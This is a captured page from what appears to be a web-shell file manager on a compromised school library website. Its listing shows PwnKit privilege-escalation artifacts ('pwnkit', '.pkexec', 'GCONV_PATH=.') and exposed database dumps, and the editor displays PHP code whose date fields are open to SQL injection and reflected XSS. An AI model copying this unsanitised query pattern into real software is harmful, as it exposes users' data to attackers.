Gecko [ ubschool.org.in ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
BCG	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
book_image	[ DIR ]	drwxr-xr-x
css	[ DIR ]	drwxr-xr-x
fonts	[ DIR ]	drwxr-xr-x
images	[ DIR ]	drwxr-xr-x
include	[ DIR ]	drwxr-xr-x
js	[ DIR ]	drwxr-xr-x
jsjs	[ DIR ]	drwxr-xr-x
less	[ DIR ]	drwxr-xr-x
tcpdf	[ DIR ]	drwxr-xr-x
upload	[ DIR ]	drwxr-xr-x
.htaccess	199 B	-rw-r--r--
.mad-root	0 B	-rw-r--r--
about_us.php	9.82 KB	-rw-r--r--
add_admin.php	8.78 KB	-rw-r--r--
add_book.php	15.62 KB	-rw-r--r--
add_modal_example.php	1.98 KB	-rw-r--r--
add_modal_example.txt	1.99 KB	-rw-r--r--
add_modal_example_2.php	1.98 KB	-rw-r--r--
add_modal_example_2.txt	1.98 KB	-rw-r--r--
add_modal_example_3.php	1.96 KB	-rw-r--r--
add_user.php	11 KB	-rw-r--r--
admin.php	5.01 KB	-rw-r--r--
admin_profile.php	5.01 KB	-rw-r--r--
allowed_days.php	5.23 KB	-rw-r--r--
allowed_qntty.php	5.09 KB	-rw-r--r--
book.php	6.85 KB	-rw-r--r--
book_print.php	3.89 KB	-rw-r--r--
book_print1.php	3.89 KB	-rw-r--r--
book_print2.php	3.89 KB	-rw-r--r--
book_print3.php	3.88 KB	-rw-r--r--
book_print4.php	3.9 KB	-rw-r--r--
book_print5.php	3.89 KB	-rw-r--r--
book_print6.php	3.9 KB	-rw-r--r--
borrow.php	3.27 KB	-rw-r--r--
borrow_book.php	16.83 KB	-rw-r--r--
borrow_book_query.php	1.74 KB	-rw-r--r--
borrow_query.php	546 B	-rw-r--r--
borrowed_book.php	5.42 KB	-rw-r--r--
borrowed_print.php	4.82 KB	-rw-r--r--
borrowed_print_sort.php	5.4 KB	-rw-r--r--
borrowed_report.php	4.26 KB	-rw-r--r--
borrowed_search.php	7.49 KB	-rw-r--r--
copy.txt	8.66 KB	-rw-r--r--
currentdate.php	578 B	-rw-r--r--
damage_books.php	6.84 KB	-rw-r--r--
datepicker.php	1.62 KB	-rw-r--r--
db_limsysuim.sql	786.67 KB	-rw-r--r--
delete_admin.php	206 B	-rw-r--r--
delete_temporary.php	2.85 KB	-rw-r--r--
delete_user.php	196 B	-rw-r--r--
edit_admin.php	10.05 KB	-rw-r--r--
edit_book.php	17.14 KB	-rw-r--r--
edit_user.php	11.89 KB	-rw-r--r--
error_log	672 B	-rw-r--r--
footer.php	16.41 KB	-rw-r--r--
hard_bound.php	6.84 KB	-rw-r--r--
hawid ka barcode.txt	3.57 KB	-rw-r--r--
hawid.txt	3.01 KB	-rw-r--r--
hawid_borrow_book.txt	10.19 KB	-rw-r--r--
hawiddd.txt	11.3 KB	-rw-r--r--
header.php	3.4 KB	-rw-r--r--
home.php	3.91 KB	-rw-r--r--
import_members.php	2.58 KB	-rw-r--r--
import_members_query.php	1.02 KB	-rw-r--r--
index.php	292.73 KB	-rw-r--r--
info.php	20 B	-rw-r--r--
issue_book_report_by_name.php	6.15 KB	-rw-r--r--
layout.php	2.29 KB	-rw-r--r--
lmsdb.sql	1.27 MB	-rw-r--r--
login.php	616 B	-rw-r--r--
logout.php	339 B	-rw-r--r--
lost_books.php	6.84 KB	-rw-r--r--
member_print.php	3.96 KB	-rw-r--r--
members_barcode_print.php	3.02 KB	-rw-r--r--
new_books.php	6.83 KB	-rw-r--r--
old_books.php	6.83 KB	-rw-r--r--
penalty.php	5.18 KB	-rw-r--r--
print_attendance.php	3.22 KB	-rw-r--r--
print_attendance_sort.php	3.32 KB	-rw-r--r--
print_barcode.php	3.43 KB	-rw-r--r--
print_barcode1.php	2.74 KB	-rw-r--r--
print_barcode11.php	3.39 KB	-rw-r--r--
print_barcode12.php	3.39 KB	-rw-r--r--
print_barcode13.php	3.39 KB	-rw-r--r--
print_barcode14.php	3.4 KB	-rw-r--r--
print_barcode15.php	3.39 KB	-rw-r--r--
print_barcode16.php	3.4 KB	-rw-r--r--
print_barcode_individual.php	2.85 KB	-rw-r--r--
print_barcode_individual1.php	2.03 KB	-rw-r--r--
print_barcode_individual1_1.ph...	2.11 KB	-rw-r--r--
print_issue_book_name.php	5.74 KB	-rw-r--r--
print_returned_book.php	6.18 KB	-rw-r--r--
print_returned_book_name.php	5.68 KB	-rw-r--r--
print_returned_sort.php	4.99 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
report.php	7.15 KB	-rw-r--r--
report_by_title.php	2.07 KB	-rw-r--r--
report_by_volume.php	2.6 KB	-rw-r--r--
return_book_report_by_name.php	5.91 KB	-rw-r--r--
returned_book.php	8.04 KB	-rw-r--r--
returned_book_print.php	6.8 KB	-rw-r--r--
returned_book_search.php	8.83 KB	-rw-r--r--
returned_report.php	4.26 KB	-rw-r--r--
scripts.php	12.71 KB	-rw-r--r--
session.php	123 B	-rw-r--r--
session_user.php	385 B	-rw-r--r--
settings.php	549 B	-rw-r--r--
sidebar_menu.php	6.04 KB	-rw-r--r--
slide.php	2.55 KB	-rw-r--r--
sort_borrowed_book.php	5.37 KB	-rw-r--r--
sort_report.php	4.4 KB	-rw-r--r--
sort_returned_book.php	5.95 KB	-rw-r--r--
sort_returned_book_copy.txt	5.49 KB	-rw-r--r--
sub_rep.php	6.86 KB	-rw-r--r--
top_nav.php	2.07 KB	-rw-r--r--
update_members_status.php	193 B	-rw-r--r--
user.php	6.18 KB	-rw-r--r--
user_log_in.php	5.51 KB	-rw-r--r--
user_log_print.php	3.29 KB	-rw-r--r--
user_log_search.php	6.82 KB	-rw-r--r--
user_print_sort.php	3.46 KB	-rw-r--r--
view_admin.php	3.42 KB	-rw-r--r--
view_barcode.php	2.62 KB	-rw-r--r--
view_book.php	3.95 KB	-rw-r--r--
view_book_barcode.php	3.1 KB	-rw-r--r--
view_graph.php	6.46 KB	-rw-r--r--
view_members_barcode.php	3.21 KB	-rw-r--r--
view_user.php	3.61 KB	-rw-r--r--

Code Editor : returned_book_search.php

<?php include ('header.php'); ?>

<div class="page-title">
            <div class="title_left">
                <h3>
					<small>Home /</small> Returned Books
                </h3>
            </div>
        </div>
        <div class="clearfix"></div>
 
        <div class="row">
            <div class="col-md-12 col-sm-12 col-xs-12">
                <div class="x_panel">
                    <div class="x_title">
                        <h2><i class="fa fa-book"></i> Returned Books Monitoring</h2>
                        <ul class="nav navbar-right panel_toolbox">
                            <li>
							<a href="returned_book_print.php" target="_blank" style="background:none;">
							<button name="print" type="submit" class="btn btn-danger"><i class="fa fa-print"></i> Print</button>
							</a>
							</li>
                            <li><a class="collapse-link"><i class="fa fa-chevron-up"></i></a></li>
                        
                            <li><a class="close-link"><i class="fa fa-close"></i></a></li>
                        </ul>
						
                        <div class="clearfix"></div>
						
						<form method="POST" class="form-inline">
						
                                <div class="control-group">
                                    <div class="controls">
                                        <div class="col-md-3">
                                            <input type="date" style="color:black;" value="<?php echo (isset($_POST['datefrom'])) ? $_POST['datefrom']: ''; ?>" name="datefrom" class="form-control has-feedback-left" placeholder="Date From" aria-describedby="inputSuccess2Status4">
                                            <span class="fa fa-calendar-o form-control-feedback left" aria-hidden="true"></span>
                                            <span id="inputSuccess2Status4" class="sr-only">(success)</span>
                                        </div>
                                    </div>
                                </div>
                                <div class="control-group">
                                    <div class="controls">
                                        <div class="col-md-3">
                                            <input type="date" style="color:black;" value="<?php echo (isset($_POST['dateto'])) ? $_POST['dateto']: ''; ?>" name="dateto" class="form-control has-feedback-left" placeholder="Date To" aria-describedby="inputSuccess2Status4">
                                            <span class="fa fa-calendar-o form-control-feedback left" aria-hidden="true"></span>
                                            <span id="inputSuccess2Status4" class="sr-only">(success)</span>
                                        </div>
                                    </div>
                                </div>
								
								<button type="submit" name="search" class="btn btn-primary btn-outline"><i class="fa fa-calendar-o"></i> Search By Date Borrowed</button>
								
						</form>
                        <div class="clearfix"></div>
                    </div>
                    <div class="x_content">

<div class="table-responsive">
    <?php
    	$_SESSION['datefrom'] = $_POST['datefrom'];
    	$_SESSION['dateto'] = $_POST['dateto'];
    ?>
							<?php
    	$datefrom = $_POST['datefrom'];
    	$dateto = $_POST['dateto'];
							$return_query= mysqli_query($conn,"select * from return_book 
							LEFT JOIN book ON return_book.book_id = book.book_id 
							LEFT JOIN user ON return_book.user_id = user.user_id 
							where return_book.date_returned BETWEEN '".$_POST['datefrom']." 00:00:01' and '".$_POST['dateto']." 23:59:59' 
							order by return_book.return_book_id DESC") or die (mysqli_error());
							$return_count = mysqli_num_rows($return_query);
								
							$count_penalty = mysqli_query($conn,"SELECT sum(book_penalty) FROM return_book 
							where return_book.date_returned BETWEEN '".$_POST['datefrom']." 00:00:01' and '".$_POST['dateto']." 23:59:59'  ")or die(mysqli_error());
							$count_penalty_row = mysqli_fetch_array($count_penalty);
							
							?>
							<table cellpadding="0" cellspacing="0" border="0" class="table table-striped table-bordered" id="example">
								
						<span style="float:left;">
					<?php 
					// $count = mysql_fetch_array(mysql_query("SELECT COUNT(*) as total FROM `report` where report.date_transaction BETWEEN '$datefrom 00:00:01' and '$dateto 23:59:59' and report.detail_action like '%$status%'")) or die(mysql_error());
					// $count1 = mysql_fetch_array(mysql_query("SELECT COUNT(*) as total FROM `report` WHERE `detail_action` = 'Borrowed Book'")) or die(mysql_error());
					// $count2 = mysql_fetch_array(mysql_query("SELECT COUNT(*) as total FROM `report` WHERE `detail_action` = 'Returned Book'")) or die(mysql_error());
					?>
							<a href="returned_book.php"><button class="btn btn-primary"><i class="fa fa-reply"></i> All Reports <?php // echo $count_penalty['total']; ?></button></a>
					
						</span>
                                <div class="pull-left">
                                    <div class="span"><div class="alert alert-info"><i class="icon-credit-card icon-large"></i>&nbsp;Total Amount of Penalty:&nbsp;<?php echo "Php ".$count_penalty_row['sum(book_penalty)'].".00"; ?></div></div>
                                </div>
							<thead>
								<tr>
									<th>Barcode</th>
									<th>Borrower Name</th>
									<th>Title</th>
								
									<th>Date Borrowed</th>
									<th>Due Date</th>
									<th>Date Returned</th>
									<th>Penalty</th>
								</tr>
							</thead>
							<tbody>
<?php
							while ($return_row= mysqli_fetch_array ($return_query) ){
							$id=$return_row['return_book_id'];
?>
							<tr>
								<td><?php echo $return_row['book_barcode']; ?></td>
								<td style="text-transform: capitalize"><?php echo $return_row['firstname']." ".$return_row['lastname']; ?></td>
								<td style="text-transform: capitalize"><?php echo $return_row['book_title']; ?></td>
							
								<td><?php echo date("M d, Y h:m:s a",strtotime($return_row['date_borrowed'])); ?></td>
								<?php
								 if ($return_row['book_penalty'] != 'No Penalty'){
									 echo "<td class='' style='width:100px;'>".date("M d, Y h:m:s a",strtotime($return_row['due_date']))."</td>";
								 }else {
									 echo "<td>".date("M d, Y h:m:s a",strtotime($return_row['due_date']))."</td>";
								 }
								
								?>
								<?php
								 if ($return_row['book_penalty'] != 'No Penalty'){
									 echo "<td class='' style='width:100px;'>".date("M d, Y h:m:s a",strtotime($return_row['date_returned']))."</td>";
								 }else {
									 echo "<td>".date("M d, Y h:m:s a",strtotime($return_row['date_returned']))."</td>";
								 }
								
								?>
								<?php
								 if ($return_row['book_penalty'] != 'No Penalty'){
									 echo "<td class='alert alert-warning' style='width:100px;'>Php ".$return_row['book_penalty'].".00</td>";
								 }else {
									 echo "<td>".$return_row['book_penalty']."</td>";
								 }
								
								?>
							</tr>
							
							<?php 
							}
							if ($return_count <= 0){
								echo '
									<table style="float:right;">
										<tr>
											<td style="padding:10px;" class="alert alert-danger">No Books returned at this Date</td>
										</tr>
									</table>
								';
							} 							
							?>
							</tbody>
							</table>
						</div>
						
                        
                    </div>
                </div>
            </div>
        </div>

<?php include ('footer.php'); ?>

${this.title}

Code Editor : returned_book_search.php